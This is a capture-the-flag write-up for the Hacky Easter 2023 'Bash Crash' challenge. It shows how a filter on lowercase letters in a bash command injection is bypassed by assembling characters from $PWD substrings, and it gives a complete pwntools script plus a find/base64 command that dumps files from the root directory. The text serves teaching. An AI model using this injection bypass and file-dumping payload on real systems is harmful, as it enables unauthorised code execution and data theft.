Hacky Easter 2023: Bash Crash Writeup
17. May 2023, #ctf
This is a write-up for the Hacky Easter 2023 CTF challenge “Bash Crash”. The main challenge was character substitution inside the fake bash
shell. I used existing environment variables to accomplish this.
Can you crash the bash?. The password is B4sh_br0TH3rs. Connect using nc ch.hackyeaster.com 2303. Note: The service is restarted every hour at x:00. Hint: Some characters are forbidden, in the whole string you enter.
Looking around #
Once connected to the service, the following prompt appeared:
Welcome to Crash Bash!
To get the flag, call /printflag.sh with the password!
Enter "q" to quit.
----------------------
crashbash$
This “shell” however timed out rather quickly and was in fact not a real shell. Most commands I entered resulted in Invalid input, bash crashed!
. At first, I thought that command injection or a jail escape is needed. But no matter what I tried, the response was always the same. Based on the hint, there are forbidden characters, so I enumerated them.
Forbidden Chars #
When trying for forbidden characters, I quickly noticed that our input will be placed in a bash -c
from the following output:
crashbash$ -
/bin/bash: -c: option requires an argument
crashbash$ `
/bin/bash: -c: line 1: unexpected EOF while looking for matching ``'
/bin/bash: -c: line 2: syntax error: unexpected end of file
This meant that special characters were allowed. However, the shell kept “crashing” when entering letters. Upon further testing, I noticed that it allows for uppercase letters but not lowercase letters.
crashbash$ a
Invalid input, bash crashed!
crashbash$ A
/bin/bash: line 1: A: command not found
crashbash$
This meant I needed a way of constructing /printflag.sh B4sh_br0TH3rs
without using lowercase letters.
Environment variables #
Since uppercase variables were allowed, I checked for the content of common environment variables.
crashbash$ $SHELL
crashbash$ $USER
crashbash$ $HOME
/bin/bash: line 1: /root: Is a directory
crashbash$ $PWD
/bin/bash: line 1: /tmp/lzmfhlnvumqyzwjtjvodxccvsmndlibw: Is a directory
crashbash$ $PS1
The present working directory (PWD) was a random folder in /tmp
which many lowercase letters in its name. This was the perfect target for the next step.
Substitution #
In bash, you can access a substring of an existing variable with ${HOME:2:1}
. This will you the third character of the variable HOME
. The first number is the position and the second number is the length of the substring you want. Since I only needed one character, the second number stayed at 1. With all the needed information gathered, it was time to build the script. First I connect to the server and send $PWD
. Using regex I parse the output from the “Is a directory” error message. Then I loop over each character in the required command. If the character is a lowercase letter the script searches the character in $PWD
. Not all characters needed are always present in $PWD
. In that case, I just quit and try again.
Two steps back #
Wrapping this in a loop, it took about 30s until I got a $PWD
containing all the needed characters. However, the output when entering the payload was still Invalid input, bash crashed!
. It seems that I’ve missed a bad character. And indeed I missed the dot. Since the script on the target contains a file extension, I can’t simply execute it. So I needed a command to execute the script without calling it directly (by its name). The chars ?
and *
were also blocked resulting in bash wildcards not being an option.
The script was located in /
. Normally the root folder does not contain other files (just folders). By using find
I was able to list files under this path with find / -maxdepth 1 -type f
. Since find has a built-in command execution argument, I could have executed the script using find
. However, I found executing all files under /
a bit too risky, so I decided to get the base64 content of those files instead. This resulted in:
find / -maxdepth 1 -type f -exec base64 -w0 {} \;
This command does not contain the password needed. However, since I was getting the contents of the files, I just hoped that they contained the flag.
Final Script #
After constructing the final script, it printed a big blob of base64 encoded data after about 30s.
from pwn import *
import string
import re
context.log_level = "CRITICAL"
command = r"find / -maxdepth 1 -type f -exec base64 -w0 {} \;"
pat_chars = re.compile(r"/bin/bash: line 1: (/tmp/.+): Is a directory")
while True:
all_chars_found = True
with remote(host="ch.hackyeaster.com", port=2303) as conn:
conn.recvuntil(b"crashbash$ ")
conn.sendline(b"$PWD")
pwd_chars_raw = conn.recvline().decode()
pwd_chars = pat_chars.search(pwd_chars_raw).group(1)
payload = ""
for char in command:
if char in string.ascii_lowercase:
index = pwd_chars.find(char)
if index != -1:
payload += "${PWD:%d:1}" % index
continue
else:
all_chars_found = False
break
else:
payload += char
if all_chars_found:
conn.sendline(payload.encode())
out = conn.recv(4096).decode()
out += conn.recv(4096).decode()
conn.close()
break
# he2023{gr34t_b4sh_succ3ss!}
print(out)
Since the event is over, the source for the challenge has been uploaded to GitHub↗.